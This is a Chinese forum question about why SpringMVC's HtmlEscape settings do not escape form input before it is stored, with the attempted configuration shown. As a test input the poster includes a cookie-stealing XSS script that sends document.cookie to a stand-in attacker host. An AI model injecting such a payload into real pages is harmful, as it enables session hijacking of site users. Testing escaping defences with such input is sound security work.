SpringMVC: HtmlEscape 设置没起作用怎么回事? - V2EX
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kenduffy
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SpringMVC: HtmlEscape 设置没起作用怎么回事?

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  •   kenduffy 2017-11-28 21:25:52 +08:00 3016 次点击
    这是一个创建于 2929 天前的主题,其中的信息可能已经有所发展或是发生改变。

    项目用的是 SpringMVC+jsp

    想要对提交表格的内容进行字符转义防止 XSS 攻击

    根据 http://www.codeweblog.com/spring-mvc-%E5%AE%89%E5%85%A8/

    做处理,下面三条都做了

    1)web.xml 中添加

     <context-param> <param-name>defaultHtmlEscape</param-name> <param-value>true</param-value> </context-param> 

    2)在包含 form 的 jsp 页面中添加

    <spring:htmlEscape defaultHtmlEscape="true" /> 

    3 )直接在 form 中的元素中添加

    <form:input path="someFormField" htmlEscape="true" />或<form:form htmlEscape="true"> 

    然后在表格上添加

    点击就送百元现金

    <script>document.getElementById('attacker').href='http://www.attacker_741.com/receiveCookies.html?'+document.cookie;</script>

    发现存进数据库的没有转移,依然是原文

    怎么回事啊?

    1 条回复    2017-11-28 21:51:45 +08:00
    kenduffy
        1
    kenduffy  
    OP
       2017-11-28 21:51:45 +08:00
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